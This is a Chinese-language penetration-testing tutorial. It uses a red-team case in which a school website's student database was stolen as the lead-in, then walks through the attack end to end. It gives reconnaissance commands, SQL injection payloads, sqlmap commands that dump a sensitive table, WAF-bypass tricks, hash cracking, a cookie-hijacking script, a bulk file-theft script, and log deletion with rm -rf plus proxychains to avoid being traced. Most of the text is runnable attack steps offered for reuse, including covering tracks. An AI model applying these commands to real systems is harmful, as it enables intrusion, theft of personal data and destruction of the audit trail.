一、真实案例:从简单测试到全面攻陷

某教育机构网站由于疏于管理,其后台登录页面数次被爆出存在严重的漏洞。一次红队模拟测试中,我们发现该网站不仅存在经典的SQL注入,还暴露了多个信息泄露点,这些漏洞最终被链式利用,导致数据库中所有学生信息被窃取。本文将以这个案例为引,带你全面复现如何使用工具和技术解决类似问题。

二、信息收集:找到突破口

在渗透过程中,信息收集是第一步。这决定了后续攻击是否顺利进行。对于目标网站,我们需要从以下几个角度入手。

1. 网站目录和子域名枚举

使用 SubfinderAmass 枚举目标子域名: <pre><code class="language-bash"># Subfinder快速枚举 subfinder -d example.com -o subdomains.txt

Amass深度扫描

amass enum -passive -d example.com -o subdomains_amass.txt

黑客示意图

合并结果去重

cat subdomains.txt subdomains_amass.txt | sort | uniq &gt; final_subdomains.txt</code></pre>

黑客示意图

接着使用 httpx 验证存活: <pre><code class="language-bash">httpx -l final_subdomains.txt -o alive_subdomains.txt</code></pre>

2. 开放端口扫描

快速发现开放端口: <pre><code class="language-bash">nmap -sS -Pn -T4 -p- example.com -oN ports_scan.txt</code></pre>

重点关注 80、443、8080 等常用Web服务端口。

3. 敏感文件爬取

使用 dirsearch 扫描可能存在的敏感文件: <pre><code class="language-bash">python3 dirsearch.py -u https://example.com -e php,asp,aspx,txt,sql,log -t 20</code></pre>

重点关注: robots.txt/.git//.env 等目录,可能会泄露服务器配置或密码。

三、SQL注入:撬动大门

目标网站的登录功能无参数过滤,存在经典的SQL注入漏洞。以下是利用过程。

1. 手工验证注入点

通过浏览器提交以下测试语句: <pre><code class="language-sql">&#039; OR 1=1 --</code></pre> 如果页面正常登录,说明可能存在注入。接着使用 union select 枚举列数: <pre><code class="language-sql">&#039; UNION SELECT 1,2,3 --</code></pre> 调整列数直到页面不报错。

2. 自动化工具利用

工具 sqlmap 是SQL注入的首选: <pre><code class="language-bash">sqlmap -u &quot;https://example.com/login.php?username=admin&amp;password=123456&quot; --dbs</code></pre>

列出数据库后,选择目标数据库: <pre><code class="language-bash">sqlmap -u &quot;https://example.com/login.php?username=admin&amp;password=123456&quot; -D target_db --tables</code></pre>

导出敏感数据: <pre><code class="language-bash">sqlmap -u &quot;https://example.com/login.php?username=admin&amp;password=123456&quot; -D target_db -T sensitive_table --dump</code></pre>

3. 绕过WAF的技巧

面对较为严格的WAF,可以尝试以下绕过方式:

  • 编码绕过:使用URL编码或Base64编码提交参数。
  • 注入语句混淆:利用空格替换、注释插入等方式绕过规则。
  • 延时注入:通过 AND SLEEP(5) 等语句检测盲注。

四、权限提升:从普通用户到管理员

通过SQL注入,我们已经获取了部分数据库权限,但接下来我们需要进一步提升权限。

1. 获取管理员密码

检查数据库中是否存储管理员用户名及加密密码。若密码为明文,则直接使用;若为散列值,可使用 hashcat 破解: <pre><code class="language-bash"># MD5破解示例 hashcat -m 0 hash.txt rockyou.txt</code></pre>

2. Cookie劫持绕过权限限制

许多系统通过Cookie验证身份。利用Burp Suite拦截合法用户登录的Cookie,将其伪造注入: <pre><code class="language-ruby">require &#039;net/http&#039;

uri = URI(&#039;https://example.com/admin&#039;) http = Net::HTTP.new(uri.host, uri.port) request = Net::HTTP::Get.new(uri.path, {&#039;Cookie&#039; =&gt; &#039;session=valid_admin_cookie&#039;}) response = http.request(request)

puts response.body</code></pre> 如果返回页面内容为管理员界面,则劫持成功。

五、数据窃取:提取核心信息

黑客示意图

通过权限提升,我们已成功登录管理员后台,接下来是数据提取。

1. 批量下载文件

使用Ruby编写脚本快速下载敏感文件: <pre><code class="language-ruby">require &#039;net/http&#039;

urls = [ &quot;https://example.com/secrets/important_file1.txt&quot;, &quot;https://example.com/secrets/important_file2.txt&quot;, ]

urls.each do |url| uri = URI(url) response = Net::HTTP.get(uri) File.write(File.basename(uri.path), response) end</code></pre>

2. 数据库备份下载

如果后台提供数据库备份功能,可直接下载 .sql 文件。

六、痕迹清除:防止追踪

若目标环境开启日志记录或行为监控,需及时清理痕迹。

1. 日志删除

通过命令行清空日志: <pre><code class="language-bash">rm -rf /var/log/nginx/ rm -rf /var/log/apache2/</code></pre>

2. 隐匿访问源IP

使用Tor或代理池: <pre><code class="language-bash">proxychains curl https://example.com</code></pre>

通过上述方法,我们完成了从信息收集到最终目标的全流程攻破。

七、个人心得:攻防对抗的艺术

在渗透测试中,工具固然重要,但更重要的是思维方式。不要局限于某个工具或漏洞,而是要学会从整体角度分析目标的攻击面。掌握关键技术的同时,多积累实战经验,才能真正实现攻防对抗的艺术。